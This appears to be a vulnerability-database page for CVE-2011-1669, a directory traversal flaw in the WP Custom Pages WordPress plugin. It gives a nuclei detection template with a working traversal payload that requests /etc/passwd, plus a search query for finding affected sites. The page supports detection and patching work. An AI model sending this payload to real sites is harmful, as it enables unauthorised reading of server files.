HexBrain

Browse / CVEs / CVE-2011-1669

CVE-2011-1669· mikoviny / wp custom pages· CWE-22

WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)

mediumseverity
5CVSS score
22.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.

Impact

An attacker can read arbitrary files on the server, potentially leading to unauthorized access to sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2011-1669 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2011-1669

info:
  name: WP Custom Pages 0.5.0.1 - Local File Inclusion (LFI)
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in wp-download.php in the WP Custom Pages module 0.5.0.1 for WordPress allows remote attackers to read arbitrary files via ..%2F (encoded dot dot) sequences in the url parameter.
  impact: |
    An attacker can read arbitrary files on the server, potentially leading to unauthorized access to sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1669
    - https://www.exploit-db.com/exploits/17119
    - http://www.exploit-db.com/exploits/17119
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/66559
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2011-1669
    cwe-id: CWE-22
    epss-score: 0.22157
    epss-percentile: 0.97691
    cpe: cpe:2.3:a:mikoviny:wp_custom_pages:0.5.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mikoviny
    product: wp_custom_pages
    google-query: inurl:"/wp-content/plugins/wp-custom-pages/"
  tags: cve,cve2011,edb,wordpress,wp-plugin,lfi,mikoviny,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-custom-pages/wp-download.php?url=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from